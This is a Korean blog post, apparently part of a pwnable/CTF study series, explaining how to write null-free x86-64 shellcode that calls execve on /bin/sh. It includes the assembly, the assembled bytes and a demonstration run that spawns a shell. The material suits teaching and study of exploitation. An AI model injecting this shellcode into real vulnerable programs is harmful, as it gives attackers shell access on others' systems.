포너블 스터디 #3

연 구

2019.05.25 14:11

포너블 스터디 #3 쉘코드 만들기

이번 글에서는 쉘코드를 작성하는 방법에 대해서 알아보겠습니다. 쉘코드를 간단히 설명하면 최소한의 코드집합이라고 할 수 있습니다. 이때 코드의 최종적인 목적은 공격 이후 연속적으로 무언가를 수행할 수 있는, 또는 현재 권한을 통해 작업을 수행할 수 있는 작업을 목표로 작성되어집니다. 예를 들어 ctf에서 가장 흔한 쉘코드는 sh를 수행하여 공격대상 프로그램의 권한으로 명령을 수행하는 방법입니다. 이 글에서는 64bit 환경에서 /bin/sh를 수행하는 쉘코드를 작성하며 이후 pwntools의 shellcraft를 이용한 방법을 설명합니다.

 

구상

먼저 저희들은 /bin/sh를 수행하는 쉘코드를 작성하는게 목적입니다. 따라서 c언어로 간단하게 작성하면 다음과 같은 모양의 프로그램을 예상할 수 있습니다.

int main()
{
    system("/bin/sh");
    return 0;
}

여기서 쉘코드로써 의미있는건 단 한 줄은 system(~~)밖에 없습니다. 이를 컴파일하면 어떤 형태의 바이너리가 생성되는지 objdumpd옵션을 통해 확인할 수 있습니다.

  40052a:       bf c4 05 40 00          mov    $0x4005c4,%edi       # "/bin/sh"
  400534:       e8 c7 fe ff ff          callq  400400 <system@plt>

설명하기에 앞서 쉘코드에서는 몇가지 주의사항이 있습니다.

  • 바이너리에 의존적이지 않고 코드가  정상수행되어야 한다.
  • NULL문자가 포함되면 안된다.

이후 여러가지가 존재하지만 저는 위 2가지가 가장 중요하다고 생각합니다. 위 코드를 예로 들어 설명하면 현재 문자열은 ELF파일 내부에 존재하는 문자열입니다. 때문에 현재 ELF파일이 아닌 다른 ELF파일의 경우 0x4005c4에 "/bin/sh"가 존재한다고 단언할 수 없습니다.

gef➤  x/3i 0x400534
=> 0x400534 <main+14>:  call   0x400400 <system@plt>
   0x400539 <main+19>:  mov    eax,0x0
   0x40053e <main+24>:  pop    rbp
gef➤  x/3i 0x400534-308
   0x400400 <system@plt>:       jmp    QWORD PTR [rip+0x200c12]        # 0x601018
   0x400406 <system@plt+6>:     push   0x0
   0x40040b <system@plt+11>:    jmp    0x4003f0

또한 현재 수행하는 call(OPCODE: E8)은 상대주소입니다. 때문에 0xfffffec7(=-313)이며 현재 5byte의 명령어가 수행되니 -308의 위치에 system@plt가 존재하고 있습니다. 다시말해 call또한 바이너리에 의존적이라고 할 수 있습니다. 현재 상태라면 우리가 만든 쉘코드는 예제로 만든 이 ELF에서만 동작하게 됩니다.

 

해결

저희는 이전 단계에서 system("/bin/sh")를 수행하는 간단한 구상을 했습니다. 하지만 단순히 c언어로 컴파일한 경우 바이너리에 의존적이며 NULL이 포함된 형태의 옵코드가 생성된다는 것도 알게 되었습니다. 그렇다면 어떻게 유동적인 상황에서 안정적으로 함수를 호출하고 "/bin/sh"를 인자로 넣어줄수 있을까요? 먼저 call을 해결해보겠습니다.

 

Call

Linux에는 system call table 이라는게 존재합니다. 여기에는 운영체제에서 흔히 사용되는 함수들을 번호로 호출하게 됩니다. 이곳을 참고하시면 굉장히 많은 함수들이 system call table에 존재한다는걸 알 수 있습니다.

그 중에서 59번의 sys_execve는 [파일, 실행인자, 환경변수]를 받아 첫번째 인자인 파일을 실행시켜줍니다. system또한 내부적으로 sys_execve를 호출함을 알 수 있죠.

그렇다면 왜 call이 아닌 system call을 사용해야할까요? 위 설명에도 있지만 call은 주소를 가지게 됩니다. 이게 직접적인 주소인지 아니면 상대주소인지는 두번째 문제입니다. 주소는 운영체제, 실행하는 환경에 따라 달라지기 때문에 call을 사용하여 libc내의 함수(실행하는 바이너리내의 함수는 당연히)를 호출하게 되면 범용적인 쉘코드를 작성하기 어렵습니다.

system call은 호출할 함수의 index만 알면됩니다. 그리고 그 index는 약속된 상태이기에 범용적으로 사용할 수 있습니다.

 

인자전달

두번째 문제는 "/bin/sh"같은 문자열의 주소를 어떤 방식으로 넘겨주냐. 입니다. 앞서 간단하게 작성한 C언어코드에서는 ELF 내부에 /bin/sh를 저장하고 필요할때 그 부분의 주소를 사용했습니다. 하지만 항상 그곳에 /bin/sh가 있다고는 할 수 없죠. 먼저 알아야하는 조건은 저희는 지금 x64 쉘코드를 작성한다는 것 입니다. x64는 인자전달을 RDI, RSI, RDX, RCX, R8, R9, [...stack...]순으로 전달하기때문에 "/bin/sh"같은 문자열의 주소를 RDI에 전달하여야 합니다. 때문에 쉘코드 내부에서 직접 "/bin/sh"를 가지고 있는 경우가 가장 좋습니다.

 

제작

여기까지 왔다면 쉘코드는 비교적 간단하게 제작됩니다. 먼저 우리가 알야할건 다음과 같습니다.

  1. sys_execve의 system call number는 59(hex 0x3B)
  2. 첫번째 매개변수를 가지는 레지스터는 RDI
  3. "/bin/sh"는 총 8글자(=8byte)이다, x64의 레지스터도 8byte이다.
  4. stack의 주소는 RSP레지스터를 통해 항상 알 수 있다.

시작으로 sys_execve를 호출하도록 합니다.

xor rax, rax
mov al, 0x3b
syscall

먼저 rax에 쓰레기값이 들어있을 가능성이 있으니 xor을 통해 0으로 초기화합니다. 만약 'mov, rax, 0' 과 같은 코드를 사용하게 되면 쉘코드에 NULL이 포함되기 때문에 xor을 통해 초기화 합니다.

 

이제 sys_execve 첫번째 매개변수인 filename을 넘겨주기 위해 RDI에 "/bin/sh"를 넣어야합니다. 먼저 코드를 보며 설명하겠습니다.

mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
mov rdi, rsp

먼저 /bin/sh\x00를 little endian으로 표기하고 BIT NOT 연산을 합니다. 왜냐하면 /bin/sh\x00의 마지막 \x00(=NULL)은 쉘코드에 포함되면 안되기 때문입니다. 그래서 최종적으로 0xFF978CD091969DD1과 같은 형식으로 표현됩니다. 이를 BIT NOT(neg instruction)을 하면 원본 문자열을 얻을 수 있게 됩니다.

이후 바로 push rbx를 하게 되는데 이때 RBX에는 이전에 복원한 /bin/sh\x00가 들어가 있고 이를 스택에 저장합니다.

이런 과정을 거치는 이유는 매개변수인 filename이 char * 타입이기 때문에 주소를 전달해야합니다. 이때 주소를 스택의 주소로 전달하기 위함입니다. 이제 RSP가 가리키는 주소에 "/bin/sh"가 있고 그 주소를 RDI에 넣게 됩니다.

pwner@ubuntu:~/workspace$ nasm -f elf64 shell_amd64.asm -o shell_amd64.o
pwner@ubuntu:~/workspace$ ld shell_amd64.o -o shell_amd64
pwner@ubuntu:~/workspace$ objdump -d shell_amd64

shell_amd64:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:       48 bb d1 9d 96 91 d0    movabs $0xff978cd091969dd1,%rbx
  400087:       8c 97 ff
  40008a:       48 f7 db                neg    %rbx
  40008d:       53                      push   %rbx
  40008e:       48 89 e7                mov    %rsp,%rdi
  400091:       48 31 c0                xor    %rax,%rax
  400094:       b0 3b                   mov    $0x3b,%al
  400096:       0f 05                   syscall
pwner@ubuntu:~/workspace$ ./shell_amd64
$ whoami
pwner

최종적으로 다음과 같은 형태로 컴파일이 되어 정상적으로 수행되는걸 확인할 수 있습니다.

 

'연 구' 카테고리의 다른 글

포너블 스터디 #5  (0) 2019.06.21
포너블 스터디 #4  (0) 2019.06.01
포너블 스터디 #3  (0) 2019.05.25
포너블 스터디 #2  (0) 2019.05.19
MBR을 알아보는 시간  (0) 2018.10.16
How are virtual functions implemented?  (0) 2018.10.13